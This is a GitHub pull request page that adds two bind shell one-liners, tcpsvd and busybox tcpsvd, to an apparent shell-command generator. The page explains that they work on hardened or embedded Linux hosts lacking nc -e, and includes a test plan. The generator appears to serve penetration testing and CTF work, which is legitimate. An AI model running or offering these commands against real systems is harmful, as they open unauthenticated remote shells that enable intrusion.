Skip to content

add tcpsvd bind shell variants#208

Open
SafaSafari wants to merge 1 commit into0dayCTF:mainfrom
SafaSafari:add-tcpsvd-bind-shell
Open

add tcpsvd bind shell variants#208
SafaSafari wants to merge 1 commit into0dayCTF:mainfrom
SafaSafari:add-tcpsvd-bind-shell

Conversation

@SafaSafari
Copy link
Copy Markdown
Contributor

Summary

  • Adds tcpsvd Bind and BusyBox tcpsvd Bind entries to the Bind Shell list in js/data.js.
  • tcpsvd (from ipsvd / busybox) listens on a TCP port and spawns a command per connection, giving a working bind shell in environments where nc -e / ncat -e aren't available (common on hardened/embedded Linux boxes where busybox is the only thing around).

Commands added:

  • tcpsvd -vE 0.0.0.0 {port} {shell} -i
  • busybox tcpsvd -vE 0.0.0.0 {port} {shell} -i

Test plan

  • Load the generator, switch to the Bind Shell tab, confirm the two new entries appear and that {port} / {shell} placeholders render correctly.
  • On a Linux host with ipsvd or busybox installed, run the generated command and verify an interactive shell over nc <ip> <port> from another host.

Adds tcpsvd and BusyBox tcpsvd entries to the bind shell list so
environments that lack nc -e / ncat still have a one-liner that
listens and spawns an interactive shell per connection.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant